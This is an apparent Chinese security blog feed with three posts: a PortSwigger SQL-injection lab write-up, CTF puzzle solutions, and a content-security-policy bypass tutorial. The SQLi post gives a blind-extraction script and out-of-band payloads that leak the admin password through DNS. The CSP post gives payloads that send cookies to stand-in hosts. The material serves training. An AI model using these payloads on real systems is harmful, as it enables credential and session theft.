class="comment"># 字符位置初始化</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 逐字提取密码</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="comment"># 使用二分法查找每个字符的ASCII值</span></span><br><span class="line">    low = <span class="number">32</span>  <span class="comment"># ASCII值的下界（可打印字符的起始值）</span></span><br><span class="line">    high = <span class="number">127</span>  <span class="comment"># ASCII值的上界（可打印字符的结束值）</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;正在提取第 <span class="subst">&#123;position&#125;</span> 个字符...&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> low &lt; high:</span><br><span class="line">        <span class="comment"># 计算mid值，避免死循环</span></span><br><span class="line">        mid = (low + high + <span class="number">1</span>) // <span class="number">2</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># 特殊字符处理</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">chr</span>(mid) == <span class="string">&quot;;&quot;</span>:</span><br><span class="line">            cookies = &#123;</span><br><span class="line">                <span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + <span class="string">&quot;\\&quot;</span> + <span class="built_in">chr</span>(mid) + TrackingId_7&#125;</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            cookies = &#123;<span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + <span class="built_in">chr</span>(mid) + TrackingId_7&#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 记录请求开始时间</span></span><br><span class="line">        start_time = time.time()</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 发起请求并判断返回结果</span></span><br><span class="line">        response = requests.get(url, cookies=cookies)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 计算请求时间</span></span><br><span class="line">        elapsed_time = time.time() - start_time</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 判断是否触发了5秒延迟</span></span><br><span class="line">        <span class="keyword">if</span> elapsed_time &gt;= <span class="number">5</span>:</span><br><span class="line">            high = mid - <span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            low = mid</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(</span><br><span class="line">            <span class="string">f&quot;position: <span class="subst">&#123;position&#125;</span>, high: <span class="subst">&#123;<span class="built_in">chr</span>(high)&#125;</span> (<span class="subst">&#123;high&#125;</span>), low: <span class="subst">&#123;<span class="built_in">chr</span>(low)&#125;</span> (<span class="subst">&#123;low&#125;</span>), mid: <span class="subst">&#123;<span class="built_in">chr</span>(mid)&#125;</span> (<span class="subst">&#123;mid&#125;</span>), elapsed_time: <span class="subst">&#123;elapsed_time&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 确定字符</span></span><br><span class="line">    <span class="keyword">if</span> low == high:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;找到第 <span class="subst">&#123;position&#125;</span> 个字符, ASCII 值: <span class="subst">&#123;low&#125;</span>&quot;</span>)</span><br><span class="line">        password += <span class="built_in">chr</span>(low)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;当前提取的密码: <span class="subst">&#123;password&#125;</span>&quot;</span>)</span><br><span class="line">        position += <span class="number">1</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;完整密码:&quot;</span>, password)</span><br></pre></td></tr></table></figure></div><p>找完之后不会停，可以先注入确定长度</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411011736202.png" alt="image-20241101173611081"></p><h3 id="利用带外（OAST）技术进行SQL盲注入（带外盲注）"><a href="#利用带外（OAST）技术进行SQL盲注入（带外盲注）" class="headerlink" title="利用带外（OAST）技术进行SQL盲注入（带外盲注）"></a>利用带外（OAST）技术进行SQL盲注入（带外盲注）</h3><ul><li>应用程序可能执行与上一个示例相同的SQL查询，但异步执行。应用程序继续在原始线程中处理用户的请求，并使用另一个线程使用跟踪cookie执行SQL查询。该查询仍然容易受到SQL注入的攻击，但目前为止所描述的技术都不起作用。应用程序的响应不依赖于查询是否返回任何数据、是否发生数据库错误或执行查询所花费的时间。</li><li>在这种情况下，通常可以通过触发与您控制的系统的带外网络交互来利用SQL盲注入漏洞。这些可以基于注入的条件来触发，以每次推断一条信息。更有用的是，数据可以直接在网络交互中泄露。</li><li>多种网络协议可用于此目的，但通常最有效的是DNS（域名服务）。许多生产网络允许DNS查询的自由出口，因为它们对于生产系统的正常运行至关重要。</li></ul><h4 id="🧪实验13：带外交互的SQL盲注入"><a href="#🧪实验13：带外交互的SQL盲注入" class="headerlink" title="🧪实验13：带外交互的SQL盲注入"></a>🧪实验13：带外交互的SQL盲注入</h4><p>触发 DNS 查询的技术特定于所使用的数据库类型。例如，Microsoft SQL Server 上的以下输入可用于在指定域上进行 DNS 查找：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;; exec master..xp_dirtree &#x27;</span><span class="operator">/</span><span class="operator">/</span><span class="number">0</span>efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net<span class="operator">/</span>a<span class="string">&#x27;--</span></span><br></pre></td></tr></table></figure></div><p>可以将 <strong>SQL 注入与基本的 XXE 技术相结合</strong>，如下所示：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TrackingId=x&#x27;+UNION+SELECT+EXTRACTVALUE(xmltype(&#x27;&lt;%3fxml+version%3d&quot;1.0&quot;+encoding%3d&quot;UTF-8&quot;%3f&gt;&lt;!DOCTYPE+root+[+&lt;!ENTITY+%25+remote+SYSTEM+&quot;http%3a//BURP-COLLABORATOR-SUBDOMAIN/&quot;&gt;+%25remote%3b]&gt;&#x27;),&#x27;/l&#x27;)+FROM+dual--</span><br></pre></td></tr></table></figure></div><h4 id="🧪实验14：带外数据渗出的SQL盲注入"><a href="#🧪实验14：带外数据渗出的SQL盲注入" class="headerlink" title="🧪实验14：带外数据渗出的SQL盲注入"></a>🧪实验14：带外数据渗出的SQL盲注入</h4><p>确认了触发带外交互的方法后，您可以使用带外通道从易受攻击的应用程序中泄露数据。例如：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27;; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username=&#x27;Administrator&#x27;);exec(&#x27;master..xp_dirtree &quot;//&#x27;+@p+&#x27;.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a&quot;&#x27;)--</span><br></pre></td></tr></table></figure></div><p>payload:</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TrackingId<span class="operator">=</span>x<span class="string">&#x27;+UNION+SELECT+EXTRACTVALUE(xmltype(&#x27;</span><span class="operator">&lt;</span><span class="operator">%</span><span class="number">3</span>fxml<span class="operator">+</span>version<span class="operator">%</span><span class="number">3</span>d&quot;1.0&quot;<span class="operator">+</span>encoding<span class="operator">%</span><span class="number">3</span>d&quot;UTF-8&quot;<span class="operator">%</span><span class="number">3</span>f<span class="operator">&gt;</span><span class="operator">&lt;</span><span class="operator">!</span>DOCTYPE<span class="operator">+</span>root<span class="operator">+</span>[<span class="operator">+</span><span class="operator">&lt;</span><span class="operator">!</span>ENTITY<span class="operator">+</span><span class="operator">%</span><span class="number">25</span><span class="operator">+</span>remote<span class="operator">+</span><span class="keyword">SYSTEM</span><span class="operator">+</span>&quot;http%3a//&#x27;||(SELECT+password+FROM+users+WHERE+username%3d&#x27;administrator&#x27;)||&#x27;.BURP-COLLABORATOR-SUBDOMAIN/&quot;<span class="operator">&gt;</span><span class="operator">+</span><span class="operator">%</span><span class="number">25</span>remote<span class="operator">%</span><span class="number">3</span>b]<span class="operator">&gt;</span><span class="string">&#x27;),&#x27;</span><span class="operator">/</span>l<span class="string">&#x27;)+FROM+dual--</span></span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;portswigger靶场-SQL注入&quot;&gt;&lt;a href=&quot;#portswigger靶场-SQL注入&quot; class=&quot;headerlink&quot; title=&quot;portswigger靶场 SQL注入&quot;&gt;&lt;/a&gt;portswigger靶场 SQL注入&lt;/h2&gt;&lt;p&gt;&lt;a</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>2024网鼎杯-青龙组</title>
    <link href="http://example.com/2024/10/29/2024%E7%BD%91%E9%BC%8E%E6%9D%AF-%E9%9D%92%E9%BE%99%E7%BB%84/"/>
    <id>http://example.com/2024/10/29/2024%E7%BD%91%E9%BC%8E%E6%9D%AF-%E9%9D%92%E9%BE%99%E7%BB%84/</id>
    <published>2024-10-29T14:55:33.000Z</published>
    <updated>2024-10-29T15:00:23.281Z</updated>
    
    <content type="html"><![CDATA[<h3 id="misc03"><a class="markdownIt-Anchor" href="#misc03">#</a> <strong>MISC03</strong></h3><p><strong>wireshark 打开数据包</strong></p><p><strong>全局搜索响应码为 200 的包第三步：经过很多尝试找出正确 ip：</strong></p><p><strong>下面记事本是赛题下线之前的记录，重新上线后一个一个尝试发现正确 flag</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410292258559.png" alt="image-20241029225758471"></p><p>也可以通过脚本提取所有 ip 然后一个一个试</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> scapy.<span class="built_in">all</span> <span class="keyword">import</span> rdpcap</span><br><span class="line"></span><br><span class="line"><span class="comment"># 读取 pcap 文件</span></span><br><span class="line">packets = rdpcap(<span class="string">&#x27;D:\\123\\3\\c.pcap&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 存储唯一的 IP 地址</span></span><br><span class="line">ip_addresses = <span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> packet <span class="keyword">in</span> packets:</span><br><span class="line">    <span class="keyword">if</span> packet.haslayer(<span class="string">&#x27;IP&#x27;</span>):</span><br><span class="line">        ip_addresses.add(packet[<span class="string">&#x27;IP&#x27;</span>].src)</span><br><span class="line">        ip_addresses.add(packet[<span class="string">&#x27;IP&#x27;</span>].dst)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 打印所有唯一的 IP 地址</span></span><br><span class="line"><span class="keyword">for</span> ip <span class="keyword">in</span> ip_addresses:</span><br><span class="line">    <span class="built_in">print</span>(ip)</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410292259866.png" alt="image-20241029225913816"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410292259592.png" alt="image-20241029225947528"></p><h3 id="misc04"><a class="markdownIt-Anchor" href="#misc04">#</a> MISC04</h3><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">peano</span>(<span class="params">n</span>):</span><br><span class="line">    <span class="keyword">if</span> n == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> [[<span class="number">0</span>,<span class="number">0</span>]]</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        in_lst = peano(n - <span class="number">1</span>)</span><br><span class="line">        lst = in_lst.copy()</span><br><span class="line">        px,py = lst[-<span class="number">1</span>]</span><br><span class="line">        lst.extend([px - i[<span class="number">0</span>], py + <span class="number">1</span> + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line">        px,py = lst[-<span class="number">1</span>]</span><br><span class="line">        lst.extend([px + i[<span class="number">0</span>], py + <span class="number">1</span> + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line">        px,py = lst[-<span class="number">1</span>]</span><br><span class="line">        lst.extend([px + <span class="number">1</span> + i[<span class="number">0</span>], py - i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line">        px,py = lst[-<span class="number">1</span>]</span><br><span class="line">        lst.extend([px - i[<span class="number">0</span>], py - <span class="number">1</span> - i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line">        px,py = lst[-<span class="number">1</span>]</span><br><span class="line">        lst.extend([px + i[<span class="number">0</span>], py - <span class="number">1</span> - i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line">        px,py = lst[-<span class="number">1</span>]</span><br><span class="line">        lst.extend([px + <span class="number">1</span> + i[<span class="number">0</span>], py + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line">        px,py = lst[-<span class="number">1</span>]</span><br><span class="line">        lst.extend([px - i[<span class="number">0</span>], py + <span class="number">1</span> + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line">        px,py = lst[-<span class="number">1</span>]</span><br><span class="line">        lst.extend([px + i[<span class="number">0</span>], py + <span class="number">1</span> + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line">        <span class="keyword">return</span> lst</span><br><span class="line"></span><br><span class="line">order = peano(<span class="number">6</span>)</span><br><span class="line"></span><br><span class="line">img = Image.<span class="built_in">open</span>(<span class="string">r&quot;D:\\123\\4\\1.png&quot;</span>)</span><br><span class="line"></span><br><span class="line">width, height = img.size</span><br><span class="line"></span><br><span class="line">block_width = width <span class="comment"># // 3</span></span><br><span class="line">block_height = height <span class="comment"># // 3</span></span><br><span class="line"></span><br><span class="line">new_image = Image.new(<span class="string">&quot;RGB&quot;</span>, (width, height))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i, (x, y) <span class="keyword">in</span> tqdm(<span class="built_in">enumerate</span>(order)):</span><br><span class="line">    <span class="comment"># 根据列表顺序获取新的坐标</span></span><br><span class="line">    new_x, new_y = i % width, i // width</span><br><span class="line">    <span class="comment"># 获取原图像素</span></span><br><span class="line">    pixel = img.getpixel((x, height - <span class="number">1</span> - y))</span><br><span class="line">    <span class="comment"># 在新图像中放置像素</span></span><br><span class="line">    new_image.putpixel((new_x, new_y), pixel)</span><br><span class="line"></span><br><span class="line">new_image.save(<span class="string">&quot;D:\\123\\4\\2.png&quot;</span>)</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;misc03&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#misc03&quot;&gt;#&lt;/a&gt; &lt;strong&gt;MISC03&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;wireshark 打开数据包&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;s</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>CSP</title>
    <link href="http://example.com/2024/10/27/CSP/"/>
    <id>http://example.com/2024/10/27/CSP/</id>
    <published>2024-10-27T13:54:29.000Z</published>
    <updated>2024-10-28T10:38:15.851Z</updated>
    
    <content type="html"><![CDATA[<h2 id="内容安全策略csp"><a class="markdownIt-Anchor" href="#内容安全策略csp">#</a> 内容安全策略（CSP）</h2><h3 id="同源策略"><a class="markdownIt-Anchor" href="#同源策略">#</a> 同源策略</h3><p>同源策略（Same origin policy）是一种约定</p><p>是浏览器的行为，是为了保护本地数据不被 JavaScript 代码获取回来的数据污染，因此拦截的是客户端发出的请求回来的数据接收，即请求发送了，服务器响应了，但是无法被浏览器接收。</p><p><strong>浏览器执行 javascript 脚本时，会检查这个脚本属于哪个页面，如果不是同源页面，就不会被执行</strong></p><p><em><strong>一个源的定义</strong></em>：如果两个页面的协议，端口（如果有指定）和域名都相同，则两个页面具有相同的<strong>源</strong></p><p><strong>不受同源策略限制的</strong></p><ol><li>页面中的链接，重定向以及表单提交是不会受到同源策略限制的。</li><li>跨域资源的引入是可以的。但是 js 不能读写加载的内容。如嵌入到页面中的 <code>&lt;script src=&quot;...&quot;&gt;&lt;/script&gt;，&lt;img&gt;，&lt;link&gt;，&lt;iframe&gt;</code>  等。</li></ol><h3 id="csp"><a class="markdownIt-Anchor" href="#csp">#</a> CSP</h3><p>内容安全策略（Content Security Policy，简称 CSP）是一种以可信白名单作机制，来限制网站是否可以包含某些来源内容，缓解广泛的内容注入漏洞，比如 XSS。 简单来说，就是我们能够规定，我们的网站只接受我们指定的请求资源。默认配置下不允许执行内联代码（ <code>&lt;script&gt;</code>  块内容，内联事件，内联样式），以及禁止执行 <code>eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …) </code> 。</p><h4 id="csp-指令"><a class="markdownIt-Anchor" href="#csp-指令">#</a> CSP 指令</h4><ul><li>default-src : 定义针对所有类型（js/image/css/font/ajax/iframe/ 多媒体等）资源的默认加载策略，如果某类型资源没有单独定义策略，就使用默认的。</li><li>script-src : 定义针对 JavaScript 的加载策略。</li><li>style-src : 定义针对样式的加载策略。</li><li>img-src : 定义针对图片的加载策略。</li><li>font-src : 定义针对字体的加载策略。</li><li>media-src : 定义针对多媒体的加载策略，例如：音频标签 <code>&lt;audio&gt;</code>  和视频标签 <code>&lt;video&gt;</code> 。</li><li>object-src : 定义针对插件的加载策略，例如： <code>&lt;object&gt;</code> 、 <code>&lt;embed&gt;</code> 、 <code>&lt;applet&gt;</code> 。</li><li>child-src : 定义针对框架的加载策略，例如：  <code>&lt;frame&gt;</code> , <code>&lt;iframe&gt;</code> 。</li><li>connect-src : 定义针对 Ajax/WebSocket 等请求的加载策略。不允许的情况下，浏览器会模拟一个状态为 400 的响应。</li><li>sandbox : 定义针对 sandbox 的限制，相当于  <code>&lt;iframe&gt;</code>  的 sandbox 属性。</li><li>report-uri : 告诉浏览器如果请求的资源不被策略允许时，往哪个地址提交日志信息。</li><li>form-action : 定义针对提交的 form 到特定来源的加载策略。</li><li>referrer : 定义针对 referrer 的加载策略。</li><li>reflected-xss : 定义针对 XSS 过滤器使用策略。</li></ul><h4 id="csp-指令值"><a class="markdownIt-Anchor" href="#csp-指令值">#</a> CSP 指令值</h4><table><thead><tr><th>指令值</th><th>说明</th></tr></thead><tbody><tr><td>*</td><td>允许加载任何内容</td></tr><tr><td>‘none’</td><td>不允许加载任何内容</td></tr><tr><td>‘self’</td><td>允许加载相同源的内容</td></tr><tr><td><a class="link" href="http://www.a.com">www.a.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td><td>允许加载指定域名的资源</td></tr><tr><td>*.a.com</td><td>允许加载 <a class="link" href="http://a.com">a.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 任何子域名的资源</td></tr><tr><td><a class="link" href="https://a.com/">https://a.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td><td>允许加载 <a class="link" href="http://a.com">a.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 的 https 资源</td></tr><tr><td>https：</td><td>允许加载 https 资源</td></tr><tr><td>data：</td><td>允许加载 data: 协议，例如：base64 编码的图片</td></tr><tr><td>‘unsafe-inline’</td><td>允许加载 inline 资源，例如 style 属性、onclick、inline js、inline css 等</td></tr><tr><td>‘unsafe-eval’</td><td>允许加载动态 js 代码，例如 eval ()</td></tr></tbody></table><h4 id="csp-默认特性"><a class="markdownIt-Anchor" href="#csp-默认特性">#</a> CSP 默认特性</h4><ul><li><strong>阻止内联代码执行</strong></li><li><strong>EVAL 相关功能被禁用</strong></li></ul><h3 id="csp绕过"><a class="markdownIt-Anchor" href="#csp绕过">#</a> CSP 绕过</h3><p><a class="link" href="https://xz.aliyun.com/t/9219?accounttraceid=17b33835819549a6a0baf7f9048153a1lwau&amp;time__1311=n4%2BxyDnDg7KYqD55405DKSxQwcfhee3i1O4D">两道案例 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="baby-csp"><a class="markdownIt-Anchor" href="#baby-csp">#</a> Baby CSP</h4><p>在 PHP 中，如果在调用  <code>header()</code>  函数之前已经有输出（比如错误信息或 HTML 内容），那么这个调用会被忽略，因为 HTTP 协议要求头部信息在内容之前发送。</p><p>在这种情况下，如果产生的警告信息足够多，可能会占满默认的 4096 字节的输出缓冲区，这样就会在发送 CSP 头部之前先将这些警告信息发送给浏览器，从而导致 CSP 头部被忽略。因此，攻击者可以利用这个机制插入恶意代码。</p><p>总结来说，就是警告信息的输出顺序会影响 HTTP 头部的发送，可能导致安全策略失效。</p><h4 id="babier-csp"><a class="markdownIt-Anchor" href="#babier-csp">#</a> Babier CSP</h4><p>几经辗转后发现，题目的 <code>nonce</code>  属于硬编码，直接读取即可。</p><p>刚开始没注意 <code>NONCE</code>  已经初始化，而且在我们访问题目的时候，不会在去执行模板上面的 <code>NONCE</code>  生成，因此每次访问是不会变的。</p><h4 id="一些语句的绕过"><a class="markdownIt-Anchor" href="#一些语句的绕过">#</a> 一些语句的绕过</h4><h5 id="script-src-self-unsafe-inline"><a class="markdownIt-Anchor" href="#script-src-self-unsafe-inline">#</a> script-src ‘self’ ‘<a class="link" href="https://so.csdn.net/so/search?q=unsafe&amp;spm=1001.2101.3001.7020">unsafe <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>-inline’</h5><p>在允许 unsafe-inline 的情况下，可以用 window.location，或者 window.open 之类的方法进行跳转绕过。</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;window.location=<span class="string">&quot;https://www.XXX.com/x.php?c=[cookie]&quot;</span>;&lt;/script&gt;</span><br><span class="line">&lt;script&gt;window.open(<span class="string">&#x27;//www.XXX.com/?&#x27;</span>+escape(document.cookie))&lt;/script&gt;</span><br><span class="line">&lt;script&gt;window.location.href=<span class="string">&#x27;https://www.XXX.com/?cookie=&#x27;</span>+document.cookie&lt;/script&gt;</span><br><span class="line">123</span><br></pre></td></tr></table></figure></div><p>内嵌 script 都可以执行，当然可以直接执行本页面的 JS，如输入即可，这里的利用和 XSS 利用一致</p><h5 id="script-src-self-unsafe-eval"><a class="markdownIt-Anchor" href="#script-src-self-unsafe-eval">#</a> script-src ‘self’ ‘unsafe-eval’</h5><p>重用 Gadgets 代码来绕过 CSP，具体可参考 Black Hat 2017 的 ppt，上面总结了可以被用来绕过 CSP 的一些 JS 库。</p><p>例如假设页面中使用了 Jquery-mobile 库，并且 CSP 策略中包含”script-src ‘unsafe-eval’” 或者”script-src ‘strict-dynamic’”，那么下面的向量就可以绕过 CSP：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;div data-role=popup <span class="built_in">id</span>=<span class="string">&#x27;&lt;script&gt;alert(1)&lt;/script&gt;&#x27;</span>&gt;&lt;/div&gt;</span><br></pre></td></tr></table></figure></div><h5 id="script-srcnone-"><a class="markdownIt-Anchor" href="#script-srcnone-">#</a> script-src:‘none-*’</h5><p>利用浏览器补全绕过 script nonce</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Content-Security-Policy: default-src <span class="string">&#x27;none&#x27;</span>;script-src <span class="string">&#x27;nonce-xxx&#x27;</span></span><br></pre></td></tr></table></figure></div><p>这种情况下，script 标签需要带上正确的 nonce 属性值才能执行 JS 代码。</p><p>如果，出现了脚本插入点在含有 nonce 属性值的 script 标签前面的情况时，如：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;p&gt;插入点&lt;/p&gt;&lt;script <span class="built_in">id</span>=<span class="string">&quot;aa&quot;</span> nonce=<span class="string">&quot;abc&quot;</span>&gt;document.write(<span class="string">&#x27;CSP&#x27;</span>);&lt;/script&gt;</span><br></pre></td></tr></table></figure></div><p>可以插入如下内容来利用浏览器补全功能：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script src=<span class="string">&quot;http://192.168.248.1/a.js&quot;</span> a=<span class="string">&quot;</span></span><br></pre></td></tr></table></figure></div><p>最终形成如下页面结构：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;p&gt;&lt;script src=<span class="string">&quot;http://192.168.248.1/a.js&quot;</span> a=<span class="string">&quot;&lt;/p&gt;</span></span><br><span class="line"><span class="string">&lt;script id=&quot;</span>aa<span class="string">&quot; nonce=&quot;</span>xxx<span class="string">&quot;&gt;document.write(&#x27;CSP&#x27;);&lt;/script&gt;</span></span><br></pre></td></tr></table></figure></div><p>也就是说，利用浏览器补全的功能，在含有 nonce 的 script 标签前面的插入点插入 script 标签的同时，插入 a=” 以闭合后面 script 标签的第一个属性的双引号，从而使中间的内容失效，将本来的 nonce 属性劫持到了插入的 script 标签中，使得该插入标签可以正常执行 JS 代码，也就是说浏览器会给我们自动补全只有一个双引号的属性的值。</p><p>还有一个注意点，上述的 a 标签在 Chrome 上是执行不了的，原因在于 Chrome 对于标签的解析方式则不同，Chrome 中解析 script 标签的优先级高于解析属性双引号内的值，因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用 src 属性替代，使其可在 Chrome 下正常执行。</p><p>当我们输入</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script src=<span class="string">&quot;http://192.168.43.201/a.js&quot;</span> a=<span class="string">&quot;</span></span><br></pre></td></tr></table></figure></div><p>时即会弹框：<br>值得注意的就是，要想成功利用在 nonce 属性前需要存在一个用引号括起来的属性，不然会失效。</p><p>利用浏览器缓存绕过 script nonce<br> 原理：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/WechatIMG62.jpg" alt></p><p>csp-test.php，开启了 nonce script 规则，并且有 XSS 点：<br>我们需要利用 iframe 引入这个页面，并对其发起请求获取页面内容，这里我们通过向其中注入一个<br>标签来吃掉后面的 script 标签，这样就可以获取内容。</p><h5 id="绕过xx-src-self"><a class="markdownIt-Anchor" href="#绕过xx-src-self">#</a> 绕过 xx-src self</h5><p>CSP 策略中 xx-src self 的设置能够使大部分的 XSS 和 CSRF 都会失效，但 link 标签的预加载功能可以进行绕过。在 Chrome 下，可以使用如下标签发送 cookie（最新版 Chrome 会禁止）：</p><p><code>&lt;link rel=&quot;prefetch&quot; href=&quot;https://www.xxx/c.php?c=[cookie]&quot;&gt;</code></p><p>在 Firefox 下，可以将 cookie 作为子域名，用 DNS 预解析的方式把 cookie 带出去，查看 DNS 服务器的日志就能得到 cookie：</p><p><code>&lt;link rel=&quot;dns-prefetch&quot; href=&quot;//[cookie].xxx.com&quot;&gt;</code></p><p>特例：script-src ‘self’ 